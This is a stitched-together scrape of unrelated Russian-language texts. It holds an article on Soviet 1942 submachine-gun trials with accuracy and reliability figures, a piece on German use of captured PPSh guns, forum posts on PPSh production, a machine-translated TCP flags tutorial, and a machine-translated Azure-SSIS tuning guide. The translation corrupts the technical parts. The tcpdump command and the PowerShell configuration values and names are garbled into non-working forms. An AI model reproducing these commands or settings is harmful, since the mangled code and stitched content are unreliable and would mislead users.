  3. Артакадемии 1-ого образца конструкции Безручко-Высоцкого.
  4. Артакадемии 2-ого образца конструкции Меньщикова и Шкворникова
  5. Зайцева (ОКБ-16) 1-ого образца
  6. Зайцева (ОКБ-16) 2-ого образца
  7. Северо-Западного фронта №32/14
  8. Валовый пистолет-пулемёт ППШ-41
  9. Немецкий пистолет-пулемёт MP-40.

Ещё 2 образца – ППКФ, разработанный в Карело-Финской ССР и конструкция судоремонтных мастерских военного порта в Сталинграде до полигона не доехала, «провалившись» на предварительных испытаниях. Особенно отличился «сталинградец», два дня подряд «дававший сплошные осечки».

Отдельно хочется сказать несколько слов по 9-й номер списка – немецкий МР-40. С началом ВОВ отечественные конструкторы, наконец, получили возможность ознакомиться с основным представителем этого класса оружия в немецкой армии. И хотя в советской историографии было принято утверждать, что данный ПП был на голову ниже отечественных конструкций, документы тех лет позволяют сделать вывод, что впечатление всё же было произведено, да ещё какое. В частности, в отчёте об испытаниях сказано следующее:

Почти во всех образцах учтены конструктивные особенности немецкого образца MP-40, так напр.:

а) у всех опытных образцов спусковой механизм без одиночной стрельбы, боёк жёсткий, прицел с откидными щитками;

б) кроме того: у ПП Дегтярёва, Артакадемии 1 и 2 образцов и Зайцева 2-ого образца – откидные приклады, у двух образцов Артакадемии – фигурные предохранительные вырезы для ручки затвора и проч.[2]

«И проч.» особенно относилось ко 2 образцу Артакадемии, который: «в основном представляет собой конструкцию немецкого пистолета-пулемёта MP-40 с упрощением конструкции отдельных узлов с целью их технологического упрощения и уменьшения веса системы»[3] и к ПП Зайцева, у которого разница между 1-м и 2-м образцом проявилась в том, что: «во 2-м образце заметно влияние немецкого образца МР-40».

Это, конечно же, был уже далеко не первый случай, когда советские конструкторы стрелкового оружия «внимательно поглядели» на работу зарубежных коллег – достаточно вспомнить историю появления у ППД барабанного магазина взамен коробчатого на 25 патронов. В 42 году, однако, коробчатые магазины вновь «вошли в моду» – их спешно разрабатывали для уже производящихся ППД и ППШ, а уж перспективные образцы тем более должны были «соответствовать». Но читая строки отчёта, трудно избавиться от впечатления, что конструкторам в качестве техзадания был продемонстрирован МП-40 со словами: «Сделайте нам такой же, но проще!» – возможно, даже с пояснением, что для тех, кто не в полной мере осознает «остроту момента», всегда найдутся путёвки в трудотерапевические учреждения Дальнего Востока и Крайнего Севера.

Пистолет-пулемёт Артакадемии

Одним из начальных этапов испытаний являлось определение кучности: стрельбой по щитам на дистанции 100 и 200 метров одиночным огнём и на дистанции 50 и 100 метров – автоматическим.

Наименование образцов

Одиночный огонь

Автоматический огонь

(очередями по 4–​5 выстрелов)

100 м

200 м

50 м

100 м

Ч50

R100[4]

Ч50

R100

Ч50

R100

Ч50

R100

Шпагина облегчённый

9,2

22,5

23,8

51,7

10,5

37,7

21,2

46,5

Дегтярёва

12,8

30,2

26,8

50,7

12,2

36,0

20,7

60,7

АртАк 1 обр

15, 2

39,5

39,7

73,3

12,3

37,5

24,7

56,2

АртАк 2 обр

12,0

35,2

28,3

68,3

7,8

23,0

14,3

46,7

Зайцева 1 обр.

12,0

37,8

28,3

76,7

8,3

24,3

19,8

56,7

Зайцева 2 обр.

11,7

31,2

22,0

69,3

6,7

24,8

12,0

32,5

Сев.Зап.фронта

14,7

33,0

24,2

74,7

9,5

25,2

14,0

42,7

ППШ-41

10,5

26,3

20,5

55,8

7,3

18,0

15,7

48,8

МР-40

10,5

18,0

20,0

45,0

7,0

18,5

19,3

47,0

Итогом этого этапа испытаний стал вполне закономерный вывод, что наибольшее влияние на кучность оказывает общий вес системы. Также отметили влияние динамического плеча – ПП Дегтярёва, имевший наиболее значение этой характеристики, кучностью «не блеснул». Не осталась без внимания и любовь отечественных конструкторов к компенсаторам.

Наличие компенсатора само по себе ещё не решает вопроса об улучшении кучности боя при неблагоприятных других факторах, а чрезмерно сильный компенсатор может даже ухудшить кучность боя, так например: в 1-м образце Арт.академии при стрельбе дульная часть ствола отбрасывается вниз, и кучность получена наихудшая.[5]

Испытатели отчего-то не сочли нужным отметить высокую кучность немецкого МР, однако «похвалили» его косвенным образом – в виде положительной оценки его советской копии, 2-го образца Артакадемии: «Удары в заднем положении затвора слабее, чем у других образцов, вследствие чего его менее трясёт и стрельба удобнее». К слову, темп стрельбы у «немца» и его советского близнеца был 2–3 раза ниже, чем у прочих.

Неполная разборка ПП Артакадемии

Сразу вспоминается, что во многих советских справочниках, говоря о МР-40, обычно считалось хорошим тоном вставить фразы: «При стрельбе на дистанции более 200 метров эффективность огня резко падала», «с ППШ можно попадать в цели, удалённые на 500 метров, из МП-40 это было невозможно». О том, какие размеры должна была иметь подобная цель, скромно умалчивалось.

Следующим пунктом испытаний стало определение эксплуатационных характеристик – удобства сборки, разборки, заряжания, прицеливания и стрельбы. Здесь замечаний удостоились практически все образцы. Например, ПП Дегтярева досталось за всё тот же короткий приклад, «вследствие чего при прицельной стрельбе возможны удары затыльника по носу стрелка

Но самое важное испытание было ещё впереди. Имея печальный опыт самозарядной винтовки Токарева, на которую после начала войны из армии пошёл целый вал жалоб на ненадёжность[6], испытатели особо тщательно подошли к вопросу испытаний образцов на безотказность и живучесть. Стрельба производилась в следующих условиях:

  1. при густой смазке;
  2. при запылении цементной пылью в течение 10 минут в специальном ящике;
  3. при промытых керосином и протёртых насухо деталях;
  4. при углах возвышения и склонения около 90 градусов;
  5. после 12-часового пребывания на снегу (на морозе около 10 градусов).

Из нового ПП Шпагина всего было произведено 2329 выстрелов и получено 3,3% задержек. Наибольшее число задержек получено после запыления – 15%, после пребывания ПП на снегу – 8% и при углах склонения – 5,7%.

После 1008 (или 2808 с учётом предыдущих стрельб из образца) появились трещины на задней стенке крышки ствольной коробки и раскололся фибровый амортизатор. После 2329 выстрелов (или 4129 всего) обнаружено качание ствола.

Продолжать испытания ПП Шпагина при этих условиях комиссия посчитала нецелесообразным.

Три процента – вроде бы не так много… если не задумываться, что стоит за этими сухими цифрами отчёта. Три патрона из сотни… шанс «поймать» задержку почти в каждом диске или рожке. А в бою с лихвой хватит и одной – последней.

ПП Дегтярёва модернизированный

Из ПП Дегтярёва было произведено 2374 выстрела и получено 0,5% задержек.

Наибольшее количество задержек было получено после пребывания ПП на снегу -4%. При углах возвышения близких к 90 и при густой смазке пистолет-пулемёт отказался стрелять, давая сплошные непродвижения патронов. Также в ходе испытаний появилась расшатанность оси шептала, которая подклепывалась несколько раз, а так же расшатался откидной приклад. В итоге ПДМ отправился вслед за собратом Шпагина – на доработку.

Из 1-го образца Артакадемии до прекращения испытаний было произведено 2233 выстрела и получено 0,6% задержек. После этого у ПП обнаружили: «трещины у задних стенок ствольной коробки, спусковой коробки, около шпильки ствола и около фигурного предохранительного выреза» – за этой сухой строкой почти наверняка осталось скрыто куда более эмоциональное «вот-вот разлетится нафиг!».

2-й образец Артакадемии продержался на восемь выстрелов меньше – из него успели сделать 2225 выстрелов, получив при этим 1,1% задержек. Наибольшее количество задержек получено при углах возвышения, при густой смазке и после запыления – по 2%. После 920 выстрелов отлетела мушка, а после 2019 – лопнул фибровый буфер. На этом испытания закончились и для конструкции Меньщикова-Шкворникова – запасного буфера, подходившего к их образцу, на полигоне не нашлось.

Из 1-го образца ПП Зайцева было произведено 1667 выстрелов – получив при этом 10,3% задержек, пистолет-пулемёт сняли с испытаний. Чуть лучше показал себя 2-й ПП – 2247 выстрелов и 3,2% задержек – но для продолжения испытаний этого «чуть» явно не хватало.

Аутсайдером же стал ПП Северо-Западного фронта – 387 выстрелов и 15,2» задержек, плюс отлетевшее основание мушки с намушником.

Можно – и довольно несложно – представить, какими бы эпитетами награждали конструкторов бойцы на фронте, если бы им пришлось идти в бой со столь «надёжными» образцами. Проводившая испытания комиссия это представляла весьма хорошо – и её итоговые выводы оказались весьма нерадостны для большинства конструкторов.

В отношении удобств обращения и стрельбы из разных положений ни один образец не удовлетворяет в полной мере современным требованиям, но лучше других в этом отношении 1-й образец Артакадемии и Дегтярёва.

По безотказности работы автоматики выдержал испытания только 1-й образец Артакадемии (Безручко-Высоцкий).

По живучести ни один образец испытаний не выдержал.[7]

В итоге два вышеупомянутых образца было рекомендовано доработать с учётом высказанных комиссией рекомендаций и не позднее 5 апреля 1942 г. предоставить на повторные испытания. Доработку остальных конструкций комиссия сочла нецелесообразной.

Правда, прислушаться к «доброму совету» сумели не все. Конструктор ОКБ-16 Зайцев в «инициативном» порядке доработал свой ПП и представил его на 2-й этап испытаний. Потерпев вторую подряд неудачу, он попытался «переиграть» результаты испытаний уже по другим правилам, написав полное негодования письмо лично И. В. Сталину.

Однако история с ПП Зайцева отнюдь не стала главной интригой следующего этапа испытаний, начавшегося 26 апреля 1942 г. Помимо уже знакомых систем Дегтярёва, Безручко-Высоцкого и помянутого выше Зайцева, в этот раз на полигон попали образцы туляка Коровина (завод № 535) и Огородова (войска НКВД). А главное, на этот раз свои разработки «выкатил» и сам НИПСВО – более известный разработкой противотанковых ружей Рукавишникова и… Судаева.


  1. Описано в книге Болотина Д.Н. – «Советское стрелковое оружие»
  2. ЦАМО РФ, фонд 81, опись 12040, дело 4.
  3. Там же.
  4. R100 – радиус окружности, в которую укладывается 100% попаданий серии. Ч50 –радиус окружности, в которую укладывается 50% лучших попаданий серии.
  5. ЦАМО РФ, фонд 81, опись 12040, дело 4.
  6. Стоит отметить, что едва ли не основной его причиной было неумение тогдашних рядовых призывников обеспечить оружию предусмотренный наставлениями уход. У более подготовленного состава (например, морской пехоты) эксплуатация СВТ подобных проблем не вызывала.
  7. ЦАМО РФ, фонд 81, опись 12040, дело 4.

Как немецкие военные отзывались о трофейных ППШ

Пистолет-пулемет Шпагина / Фото: topwar.ru

В годы Великой Отечественной войны пистолет-пулемет Шпагина стал самым массовым пистолетом-пулеметом в РККА. И это было не случайно. Оружие заслужило массу положительных откликов, в том числе и от врагов – немецких солдат.

Как и немецкое оружие к советским солдатам, наши пистолеты-пулеметы также порой попадали к немцам в качестве трофеев. Военнослужащие вермахта были весьма удивлены превосходными характеристиками ППШ-41. Maschinenpistole 717(r) – именно так, с маленькой буквой «р» — «русский» в скобках, немцы называли ППШ-41.

Так, стрельба из советского пистолета-пулемета создавала высокую плотность огня, темп стрельбы был выше, чем у МП-40. Прицельная дальность также отличалась в выгодную сторону. Кроме того, что было очень важно, магазин на 71 патрон позволял достичь значительного преимущества: солдату вермахта приходилось сменить два магазина МП-40, а красноармеец за это время отстреливал только один диск ППШ.

«Спустя тот же промежуток времени оставался еще значительный запас патронов», и это оказалось решающим для исхода некоторых сражений», — пишут немецкие авторы Райнер Лидшун и Гюнтер Воллерт в книге «Стрелковое оружие вчера (1918–1945)».

Еще одним несомненным достоинством ППШ-41 был массивный деревянный приклад. Пистолет-пулемет, благодаря ему, превращался в превосходное оружие для рукопашной схватки. Немецким солдатам, вооруженным МП-40 со складным прикладом, противопоставить ППШ, если доводилось сойтись в рукопашную, было нечего. Советские солдаты ласково называли пистолет-пулемет Шпагина «Папашей», а немецкие «маленьким пулеметом».

«Мы старались добыть русский «маленький пулемёт». В диске было, кажется, 72 патрона, и при хорошем уходе это было очень грозное оружие. Вообще русское оружие ценилось за простоту и надёжность. Но оно было очень плохо защищено от коррозии и ржавчины. Наше оружие было лучше обработано», — вспоминал ефрейтор вермахта, которому довелось сражаться под Москвой.

Отличала ППШ и простота: один из бывших солдат войск СС уже после войны вспоминал, что усвоить принцип разборки советского пистолета-пулемета можно было очень быстро, не требовались никакие инструкции.

Поскольку количество пистолетов-пулеметов и автоматов в подразделениях вермахта было, вопреки распространенному мифу, меньшим, чем в Красной Армии, немецкие солдаты очень радовались, когда им доводилось обзавестись трофейным «маленьким пулеметом» Шпагина. Ведь на роту, как вспоминает бывший военнослужащий вермахта, приходилось в среднем 15-20 автоматов, а остальные солдаты были вооружены карабинами. Естественно, что в такой ситуации ППШ, даже при определенных недостатках, все равно был лучшим оружием.

Популярность ППШ в частях гитлеровских войск была столь значительной, что в октябре 1942 года обергруппенфюрер СС Феликс Мартин Юлиус Штайнер, командир дивизии СС «Викинг», обратился к Генриху Гиммлеру с предложением наладить выпуск аналогичных советскому ППШ пистолетов-пулеметов на германских заводах.

«Русские автоматы широко применяются в нашей дивизии, они зарекомендовали себя очень надежными даже в самых неблагоприятных условиях», — писал эсэсовский обергруппенфюрер своему шефу.

Гиммлер дал добро модифицировать ППШ под стандартный патрон 9×19 мм, использовавшийся в вермахте. Новое оружие получило название MP-41(r). Оружейные заводы оперативно выпустили 10 тысяч стволов для советских ППШ. Особенно часто переделанные ППШ использовали в «элитных» дивизиях СС. Враг знал толк в оружии и отзывался о ППШ с уважением. Еще бы: 900 выстрелов в минуту из ППШ против 500 из МП – есть разница?..

МОСКВА, Военное обозрение
2

Оригинал

ППШ в Ркка на 1941 — Страница 4 — Вторая Мировая война

Документов о поставках в войска ППШ летом 1941г (тем более — до начала войны) нет. Так же как не приводилось документов по выпуску ППШ в 1941г, кроме отчёта директора завода №367 от 31 августа 1945г, где упоминался выпуск опытной партии в количестве 50 штук согласно постановления Правительства от 3 октября 1940г). Там же написано, что «завод с 1 января 1941г приступил к изготовлению оснастки и организации массового производства для выпуска пистолетов-пулемётов Шпагина…» Всего лишь оснастки, а не массового изготовления.
О. Залесский (молодой тогда технолог одного из институтов Наркомата вооружения, которого с группой таких же специалистов направили за завод №367 для подготовки и налаживания производства ППШ) вспоминал: «…Окончание разработки технологии производства и чертежей было завершено только в апреле 1941г. Тогда же начали передавать заказы на материалы, оснастку, приступили к расстановке в цехах оборудования.»
Т.к. завод №367 до этого не занимался производством стрелкового вооружения (ранее это был завод скобяных изделий и его планировалось подключить к производству ППД в 1-й половине 1940г), там не имелось ни достаточного количества квалифицированных рабочих для военного производства, ни соответствующего оборудования. Началось всё примерно с начала февраля (1941г). .. «с комплектования имеющихся станков, прессов набором оснастки… решили создать такую технологию, чтобы малоквалифицированные рабочие могли изготавливать высококачественные детали и собирать из них безотказное оружие. При этом предусматривалась возможность «привязать» эту технологию производства и к оборудованию других заводов.» И далее он (Залесский) вспоминает, что «К сожалению, к началу Великой Отечественной войны выпуск ППШ наладить не удалось…» Тогда к ним приехал Д.Ф.Устинов, состоялся нелицеприятный разговор с руководством завода и потом всё пошло куда быстрее. «Уже в августе 1941года подразделения Красной Армии, формировавшиеся в Москве, стали получать новенькие ППШ непосредственно на заводе (завод №367 находился под Москвой, в г.Загорске). Первое время красноармейцам вручали автоматы с комплектом из трёх дисков, «индивидуально» подогнанных к конкретным пистолетам-пулемётам».

Что касается изготовления первой опытной партии ППШ для проведения сравнительных испытаний с пистолетом-пулемётом Шпитального, то согласно данных из книги А. Н. Болотина «История советского стрелкового оружия и патронов» в ноябре 1940г на Ковровском заводе №2 (где выпускали ППД) изготовили партию из 25 ППШ и 15 п-п Шпитального ( даётся ссылка на ЦАМО, ф.81, оп.12106, д.171, л.28).

Андрей, первые сумки этого типа датируются еще 39 годом, располагаю сумками 40-го года выпуска, поэтому твое утверждение спорно, если нет документов с показателями производства сумок на предприятиях НКЛП за 39-40-41гг… Хотя в 41 году несомненно количество производимых сумок должно было возрасти.


Да, я ошибся с образцом противогазной сумки. Спасибо что поправили.

Понимание флагов PSH ACK TCP

PSH и ACK — это флаги tcp в протоколе TCP. Эти флаги TCP позволяют TCP обмениваться данными между клиентами и серверами.

Флаг PSH (push) указывает, что входящие данные должны передаваться непосредственно в приложение, а не буферизоваться.

Флаг

ACK (подтверждение) используется для подтверждения того, что пакеты данных были получены, а также для подтверждения запроса на инициацию и запросов на разрыв. После создания сеанса TCP каждый пакет содержит флаг ACK.

  • Флаг PSH в TCP
  • Флаг ACK в TCP
  • Захват пакетов PSH ACK с помощью Tcpdump

 

Флаг PSH в TCP

Флаг Push обычно означает, что данные были отправлены во время переопределения встроенной задержки эффективности TCP, такой как алгоритм Nagle или отложенные подтверждения.

Эти задержки делают сеть TCP более эффективной за счет некоторой задержки (обычно около нескольких десятков миллисекунд). Чувствительное к задержке приложение не хочет ждать задержек эффективности TCP, поэтому приложение обычно отключает их, заставляя данные отправляться как можно быстрее с установленным флагом Push.

Флаг PSH (push) используется, чтобы сообщить клиенту/серверу, что нужно продолжать и отправлять те данные, которые у него есть, принимающему приложению, даже если его буфер не заполнен. Обычно это отправляется в конце передачи, поэтому система-получатель не будет сидеть и ждать, пока данные заполнят буфер, когда они не приходят.

Флаг ACK в TCP

ACK (поле подтверждения значимо). Это указывает на то, что поле подтверждения содержит следующий байт, ожидаемый для соединения.Флаг ACK всегда установлен, за исключением первого сегмента установления TCP-соединения.

Захват пакетов PSH ACK с помощью Tcpdump

Мы можем использовать tcpdump для фильтрации пакетов с флагами.

Вот числа, которые соответствуют соответствующим флагам TCP.

URG ACK PSH RST SYN FIN
32 16 8 4 2 1

Следующая команда предназначена для фильтрации флагов Psh Ack. PSH + ACK=8+16=24

  • tcpdump -i любой tcp[tcpflags]==24

Это вывод.[P.] означает флаг psh и флаг ack.

11:53:56.748105 IP 40.100.29.194.https > 10.79.98.55.62947: флаги [P.], seq 5758:5814, ack 6948, win 2052, длина 56
11:53:56.7482879 IP 40. 10.10 > 10.79.98.55.62947: Flags [P.], seq 5814:6273, ack 6948, win 2052, длина 459
11:53:56.748448 IP 40.100.29.194.https > 10.79.98.55.62947: Flags [P.] , seq 6683:6875, подтверждение 6948, выигрыш 2052, длина 192

Tcpdump: фильтровать пакеты с флагами TCP

20 расширенных примеров Tcpdump в Linux

Связанный:

20 расширенных примеров Tcpdump в Linux

Понимание флагов TCP

10 Примеры полезных команд tcpdump

Руководство по устранению неполадок Linux:

Учебное пособие по Linux:

Настройка производительности для среды выполнения интеграции Azure-SSIS — Фабрика данных Azure

  • Статья
  • 8 минут на чтение
  • 14 участников

Полезна ли эта страница?

да Нет

Любая дополнительная обратная связь?

Отзыв будет отправлен в Microsoft: при нажатии кнопки отправки ваш отзыв будет использован для улучшения продуктов и услуг Microsoft. Политика конфиденциальности.

Представлять на рассмотрение

В этой статье

ПРИМЕНЯЕТСЯ К: Фабрика данных Azure Azure Synapse Analytics (предварительная версия)

В этой статье описывается, как настроить среду выполнения интеграции Azure-SSIS (IR) для обеспечения высокой производительности. Azure-SSIS IR позволяет развертывать и запускать пакеты SQL Server Integration Services (SSIS) в Azure.Дополнительные сведения об Azure-SSIS IR см. в статье о среде выполнения интеграции. Сведения о развертывании и запуске пакетов SSIS в Azure см. в статье Подъем и перенос рабочих нагрузок служб SQL Server Integration Services в облако.

Важно

В этой статье содержатся результаты тестирования производительности и результаты внутреннего тестирования, проведенного членами группы разработчиков служб SSIS. Ваши результаты могут отличаться. Проведите собственное тестирование, прежде чем завершить настройку параметров конфигурации, которые повлияют как на стоимость, так и на производительность.

Свойства для настройки

В следующей части сценария настройки показаны свойства, которые можно настроить при создании среды выполнения интеграции Azure-SSIS. Полный сценарий и описание PowerShell см. в статье Развертывание пакетов SQL Server Integration Services в Azure.

  # Если ваш ввод содержит специальный символ PSH, например. "$", перед ним следует escape-символ "`", например "`$"
$SubscriptionName = "[название вашей подписки Azure]"
$ResourceGroupName = "[имя вашей группы ресурсов Azure]"
$DataFactoryName = "[название вашей фабрики данных]"
# Информацию о поддерживаемых регионах см. на странице https://azure.microsoft.com/global-infrastructure/services/?products=data-factory®ions=all
$ DataFactoryLocation = "Восток США"

### Информация о среде выполнения интеграции Azure-SSIS — это вычислительный ресурс фабрики данных для запуска пакетов служб SSIS. 
$AzureSSISName = "[укажите имя для Azure-SSIS IR]"
$AzureSSISDescription = "[укажите описание для Azure-SSIS IR]"
# Информацию о поддерживаемых регионах см. на странице https://azure.microsoft.com/global-infrastructure/services/?products=data-factory®ions=all.
$AzureSSISLocation = "ВостокСША"
# Поддерживаемые размеры узлов см. на странице https://azure.microsoft.com/pricing/details/data-factory/ssis/
$AzureSSISNodeSize = "Standard_D8_v3"
# 1-10 узлов в настоящее время поддерживаются
$AzureSSISNodeNumber = 2
# Информация о выпуске/лицензии Azure-SSIS IR: Standard или Enterprise
$AzureSSISEdition = "Standard" # Standard по умолчанию, в то время как Enterprise позволяет использовать расширенные/премиум-функции в Azure-SSIS IR.
# Сведения об использовании гибридной среды Azure-SSIS IR: LicenseIncluded или BasePrice.
$AzureSSISLicenseType = "LicenseIncluded" # LicenseIncluded по умолчанию, в то время как BasePrice позволяет использовать существующую лицензию SQL Server с Software Assurance, чтобы сэкономить средства с помощью опции "Преимущество гибридного использования Azure" (AHB). 
# Для узла Standard_D1_v2 поддерживается до 4 параллельных исполнений на узел, но для других узлов в настоящее время поддерживается до max(2 x количество ядер, 8)
$AzureSSISMaxParallelExecutionsPerNode = 8
# Пользовательская информация о настройке
$SetupScriptContainerSasUri = "" # НЕОБЯЗАТЕЛЬНО, чтобы указать SAS URI контейнера больших двоичных объектов, в котором хранятся ваш пользовательский сценарий установки и связанные с ним файлы.
# Информация о виртуальной сети: Classic или Azure Resource Manager
$VnetId = "[идентификатор вашего виртуального сетевого ресурса или оставьте его пустым]" # ТРЕБУЕТСЯ, если вы используете базу данных SQL Azure с конечными точками службы виртуальной сети/управляемым экземпляром SQL/локальными данными, рекомендуется виртуальная сеть Azure Resource Manager, классическая виртуальная сеть скоро будет объявлено устаревшим
$SubnetName = "[ваше имя подсети или оставьте его пустым]" # ПРЕДУПРЕЖДЕНИЕ. Используйте ту же подсеть, что и ваша база данных SQL Azure, с конечными точками службы виртуальной сети, или подсеть, отличную от той, которая используется для вашего Управляемого экземпляра SQL. 

### Информация SSISDB
$SSISDBServerEndpoint = "[имя вашего сервера или имя управляемого экземпляра.Префикс DNS].database.windows.net" # ПРЕДУПРЕЖДЕНИЕ. Убедитесь, что SSISDB не существует, чтобы мы могли подготовить ее и управлять ею от вашего имени.
# Информация для аутентификации: SQL или Azure Active Directory (AAD)
$SSISDBServerAdminUserName = "[ваше имя администратора сервера для аутентификации SQL или оставьте его пустым для аутентификации AAD]"
$SSISDBServerAdminPassword = "[ваш пароль администратора сервера для аутентификации SQL или оставьте его пустым для аутентификации AAD]"
$SSISDBPricingTier = «[Basic|S0|S1|S2|S3|S4|S6|S7|S9|S12|P1|P2|P4|P6|P11|P15|…|ELASTIC_POOL(name = ) для Azure SQL База данных или оставьте его пустым для Управляемого экземпляра SQL]"
  

AzureSSISРасположение

AzureSSISLocation — это расположение рабочего узла среды выполнения интеграции.Рабочий узел поддерживает постоянное подключение к базе данных каталога служб SSIS (SSISDB) в базе данных SQL Azure. Установите AzureSSISLocation в то же расположение, что и логический сервер SQL, на котором размещается SSISDB, что позволяет среде выполнения интеграции работать максимально эффективно.

Азурессиснодесизе

Фабрика данных

, включая Azure-SSIS IR, поддерживает следующие параметры:

  • Стандарт_A4_v2
  • Стандарт_A8_v2
  • Стандарт_D1_v2
  • Стандарт_D2_v2
  • Стандарт_D3_v2
  • Стандарт_D4_v2
  • Стандарт_D2_v3
  • Стандарт_D4_v3
  • Стандарт_D8_v3
  • Стандарт_D16_v3
  • Стандарт_D32_v3
  • Стандарт_D64_v3
  • Стандарт_E2_v3
  • Стандарт_E4_v3
  • Стандарт_E8_v3
  • Стандарт_E16_v3
  • Стандарт_E32_v3
  • Стандарт_E64_v3

В ходе неофициального внутреннего тестирования, проведенного командой инженеров служб SSIS, серия D оказалась более подходящей для выполнения пакетов служб SSIS, чем серия A.

  • Соотношение производительность/цена у серии D выше, чем у серии A, а соотношение производительность/цена у серии v3 выше, чем у серии v2.
  • Пропускная способность для серии D выше, чем для серии A по той же цене, а пропускная способность для серии v3 выше, чем для серии v2 по той же цене.
  • Узлы серии v2 Azure-SSIS IR не подходят для пользовательской настройки, поэтому вместо этого используйте узлы серии v3. Если вы уже используете узлы серии v2, как можно скорее переключитесь на узлы серии v3.
  • Серия E — это виртуальные машины с оптимизированным размером памяти, которые обеспечивают более высокое отношение памяти к ЦП, чем другие машины. Если вашему пакету требуется много памяти, вы можете выбрать виртуальную машину серии E.

Настройка скорости выполнения

Если у вас не так много пакетов для запуска, и вы хотите, чтобы пакеты выполнялись быстро, используйте информацию в следующей таблице, чтобы выбрать тип виртуальной машины, подходящий для вашего сценария.

Эти данные представляют выполнение одного пакета на одном рабочем узле.Пакет загружает 3 миллиона записей со столбцами имени и фамилии из хранилища BLOB-объектов Azure, создает столбец полного имени и записывает записи, содержащие полное имя длиннее 20 символов, в хранилище BLOB-объектов Azure.

По оси Y указано количество пакетов, выполнение которых завершилось за один час. Обратите внимание, что это только результат тестирования одного пакета, потребляющего много памяти. Если вы хотите узнать пропускную способность вашего пакета, рекомендуется выполнить тест самостоятельно.

Настройка общей пропускной способности

Если вам нужно запустить много пакетов и вас больше всего волнует общая пропускная способность, используйте информацию в следующей таблице, чтобы выбрать тип виртуальной машины, подходящий для вашего сценария.

По оси Y указано количество пакетов, выполнение которых завершилось за один час. Обратите внимание, что это только результат тестирования одного пакета, потребляющего много памяти. Если вы хотите узнать пропускную способность вашего пакета, рекомендуется выполнить тест самостоятельно.

Азурессисноденумбер

AzureSSISNodeNumber регулирует масштабируемость среды выполнения интеграции. Пропускная способность среды выполнения интеграции пропорциональна AzureSSISNodeNumber .Сначала задайте для AzureSSISNodeNumber небольшое значение, отслеживайте пропускную способность среды выполнения интеграции, а затем настройте значение для своего сценария. Чтобы изменить количество рабочих узлов, см. раздел Управление средой выполнения интеграции Azure-SSIS.

AzureSSISMaxParallelExecutionsPerNode

Если вы уже используете мощный рабочий узел для запуска пакетов, увеличение AzureSSISMaxParallelExecutionsPerNode может увеличить общую пропускную способность среды выполнения интеграции.Если вы хотите увеличить максимальное значение, вам нужно использовать Azure PowerShell для обновления AzureSSISMaxParallelExecutionsPerNode . Вы можете оценить соответствующее значение на основе стоимости вашего пакета и следующих конфигураций для рабочих узлов. Дополнительные сведения см. в разделе Размеры виртуальных машин общего назначения.

Размер виртуальный ЦП Память: ГиБ Временное хранилище (SSD) GiB Максимальная пропускная способность временного хранилища: IOPS/чтение МБ/с/запись МБ/с Макс. диски данных/пропускная способность: IOPS Макс. сетевые карты / Ожидаемая производительность сети (Мбит/с)
Стандарт_D1_v2 1 3.5 50 3000/46/23 2 / 2×500 2 / 750
Стандарт_D2_v2 2 7 100 6000/93/46 4/4×500 2 / 1500
Стандарт_D3_v2 4 14 200 12000/187/93 8/8×500 4 / 3000
Стандарт_D4_v2 8 28 400 24000 / 375 / 187 16/16×500 8 / 6000
Стандарт_A4_v2 4 8 40 4000/80/40 8/8×500 4 / 1000
Стандарт_A8_v2 8 16 80 8000/160/80 16/16×500 8 / 2000
Стандарт_D2_v3 2 8 50 3000/46/23 4/6×500 2 / 1000
Стандарт_D4_v3 4 16 100 6000/93/46 8/12×500 2 / 2000
Стандарт_D8_v3 8 32 200 12000/187/93 16 / 24×500 4 / 4000
Стандарт_D16_v3 16 64 400 24000 / 375 / 187 32/ 48×500 8 / 8000
Стандарт_D32_v3 32 128 800 48000 / 750 / 375 32 / 96×500 8 / 16000
Стандарт_D64_v3 64 256 1600 96000/1000/500 32 / 192×500 8 / 30000
Стандарт_E2_v3 2 16 50 3000/46/23 4/6×500 2 / 1000
Стандарт_E4_v3 4 32 100 6000/93/46 8/12×500 2 / 2000
Стандарт_E8_v3 8 64 200 12000/187/93 16 / 24×500 4 / 4000
Стандарт_E16_v3 16 128 400 24000 / 375 / 187 32 / 48×500 8 / 8000
Стандарт_E32_v3 32 256 800 48000 / 750 / 375 32 / 96×500 8 / 16000
Стандарт_E64_v3 64 432 1600 96000/1000/500 32 / 192×500 8 / 30000

Вот рекомендации по установке правильного значения для свойства AzureSSISMaxParallelExecutionsPerNode :

  1. Сначала установите небольшое значение.
  2. Увеличьте его на небольшую величину, чтобы проверить, улучшилась ли общая пропускная способность.
  3. Остановить увеличение значения, когда общая пропускная способность достигнет максимального значения.

SSISDBPricingTier

SSISDBPricingTier — это ценовая категория для базы данных каталога служб SSIS (SSISDB) в базе данных SQL Azure. Этот параметр влияет на максимальное количество рабочих процессов в экземпляре IR, скорость постановки пакета в очередь и скорость загрузки журнала выполнения.

  • Если вам не важна скорость выполнения пакета в очереди и загрузки журнала выполнения, вы можете выбрать самую низкую ценовую категорию базы данных. База данных SQL Azure с базовыми ценами поддерживает 8 рабочих ролей в экземпляре среды выполнения интеграции.

  • Выберите более мощную базу данных, чем базовая, если количество рабочих процессов превышает 8 или количество ядер превышает 50. В противном случае база данных становится узким местом экземпляра среды выполнения интеграции, что отрицательно сказывается на общей производительности.

  • Выберите более мощную базу данных, например s3, если уровень ведения журнала установлен на подробный. Согласно нашему неофициальному внутреннему тестированию, ценовой уровень s3 может поддерживать выполнение пакета SSIS с 2 узлами, 128 параллельными счетчиками и подробным уровнем ведения журнала.

Вы также можете настроить ценовую категорию базы данных на основе информации об использовании единицы транзакции базы данных (DTU), доступной на портале Azure.

Дизайн для высокой производительности

Разработка пакета SSIS для запуска в Azure отличается от разработки пакета для локального выполнения.Вместо объединения нескольких независимых задач в одном пакете разделите их на несколько пакетов для более эффективного выполнения в Azure-SSIS IR. Создайте выполнение пакета для каждого пакета, чтобы им не приходилось ждать завершения друг друга. Этот подход выигрывает от масштабируемости среды выполнения интеграции Azure-SSIS и повышает общую пропускную способность.

Следующие шаги

Узнайте больше о среде выполнения интеграции Azure-SSIS. См. раздел Среда выполнения интеграции Azure-SSIS.

Оболочки — Windows — HackTricks

